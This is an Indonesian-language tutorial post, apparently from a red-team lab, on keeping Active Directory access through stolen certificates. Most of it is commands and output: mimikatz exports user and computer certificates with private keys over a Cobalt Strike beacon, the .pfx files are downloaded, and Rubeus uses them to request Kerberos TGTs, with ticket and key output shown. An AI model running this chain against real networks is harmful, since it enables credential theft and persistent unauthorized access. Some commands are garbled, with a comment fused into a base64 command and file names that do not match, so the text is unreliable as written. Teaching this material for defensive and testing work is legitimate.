Post

[AD CS] User & Computer Persistence

Salah satu fungsi sertifikat yaitu digunakan untuk mengidentifikasi dan mengotentikasi pengguna dan komputer dalam jaringan.

Berbeda dengan password yang mungkin perlu diubah secara berkala, sertifikat biasanya memiliki masa berlaku yang lebih lama. Ini menjadikannya alat yang berguna untuk mempertahankan akses yang persisten.

1
2
3
4
CA Name             : dc-2.dev.example.io\sub-ca
Template Name       : User
Schema Version      : 1
Validity Period     : 1 year

Sertifikat hanya akan menjadi tidak valid jika dicabut oleh Certificate Authority (CA) atau jika telah kedaluwarsa.

Proses penerbitan dan penggunaan sertifikat ini tidak harus bergantung pada template yang rentan. Kita bisa mengekstrak sertifikat yang sudah diterbitkan, atau meminta yang baru.

0x1 - Exploitation Stages

Method 1: User Persistence

Step 1: Enumerate User Certificates

Sertifikat pengguna yang telah diterbitkan dapat ditemukan di penyimpanan Personal Certificate store.

Personal Certificate Store Personal Certificate Store

Kita juga dapat melihat sertifikatnya dengan Seatbelt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS > .\Seatbelt.exe Certificates

  StoreLocation      : CurrentUser
  Issuer             : CN=sub-ca, DC=dev, DC=example, DC=io
  Subject            : E=namina@example.io, CN=Nana Mina, CN=Users, DC=dev, DC=example, DC=io
  ValidDate          : 9/7/2022 11:44:35 AM
  ExpiryDate         : 9/7/2023 11:44:35 AM
  HasPrivateKey      : True
  KeyExportable      : True
  Thumbprint         : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5
  Template           : User
  EnhancedKeyUsages  :
       Encrypting File System
       Secure Email
       Client Authentication     [!] Certificate is used for client authentication!

Selalu pastikan sertifikat digunakan untuk autentikasi klien.

Step 2: Extract the Certificate

1
2
3
4
5
6
7
8
9
# Ekstrak sertifikat
beacon> mimikatz crypto::certificates /export

    Public export  : OK - 'CURRENT_USER_My_0_Nana Lamb.der'
    Private export : OK - 'CURRENT_USER_My_0_Nana Lamb.pfx'


# Download sertifikat
beacon> download CURRENT_USER_My_0_Nana Mina.pfx

Buka View > Downloads untuk menyinkronkan file dari Cobalt Strike ke mesin lokal Anda.

Download File Pada Cobalt Strike Download File Pada Cobalt Strike

1
2
# Encode .pfx ke base64cat CURRENT_USER_My_0_Nana\ Mina.pfx | base64 -w 0
1
2
# Ekstrak TGT
PS > .\Rubeus.exe asktgt /user:namina /certificate:MIINeg[...]IH0A== /password:mimikatz /nowrap

OPSEC

Proses ekstrak TGT ini akan meminta tiket RC4 secara default. Kita dapat memaksa penggunaan AES256 dengan menyertakan parameter /enctype:aes256.

Jika pengguna tidak memiliki sertifikat di store-nya, kita bisa memintanya dengan Certify.

1
PS > .\Certify.exe request /ca:dc-2.dev.example.io\sub-ca /template:User

Method 2: Comptuer Persistence

Computer Certificate Store Computer Certificate Store

Step 1: Enumerate Computer Certificates

1
2
3
4
5
6
7
8
# Ekstrak sertifikat
beacon> mimikatz !crypto::certificates /systemstore:local_machine /export

    Public export  : OK - 'local_machine_My_0_wkstn-1.dev.example.io.der'
    Private export : OK - 'local_machine_My_0_wkstn-1.dev.example.io.pfx'

# Download sertifikat
beacon> download local_machine_My_0_wkstn-1.dev.example.io.pfx
1
2
# Encode .pfx ke base64cat local_machine_My_0_wkstn-1.dev.example.io.pfx | base64 -w 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Ekstrak TGT
PS > .\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=wkstn-1.dev.example.io 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.example.io\WKSTN-1$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIGYD[...]5pbw==

  ServiceName              :  krbtgt/dev.example.io
  ServiceRealm             :  DEV.EXAMPLE.IO
  UserName                 :  WKSTN-1$
  UserRealm                :  DEV.EXAMPLE.IO
  StartTime                :  9/7/2022 12:06:02 PM
  EndTime                  :  9/7/2022 10:06:02 PM
  RenewTill                :  9/14/2022 12:06:02 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  6DV6vQB5lRoCz84qmRqt0X6UdIzzdQiX+y0IwwDrHlc=
  ASREP (key)              :  C1B715AF5F9B5468EB5FA8ADDA0E02EE2D7548F439DEA5A5D9B4F7DFA6482BDF

Jika pengguna tidak memiliki sertifikat di store-nya, kita bisa memintanya dengan Certify.

1
PS > .\Certify.exe request /ca:dc-2.dev.example.io\sub-ca /template:Machine /machine

0x3 - References

  • https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence
  • https://pentestlab.blog/2021/09/13/account-persistence-certificates/
This post is licensed under CC BY 4.0 by the author.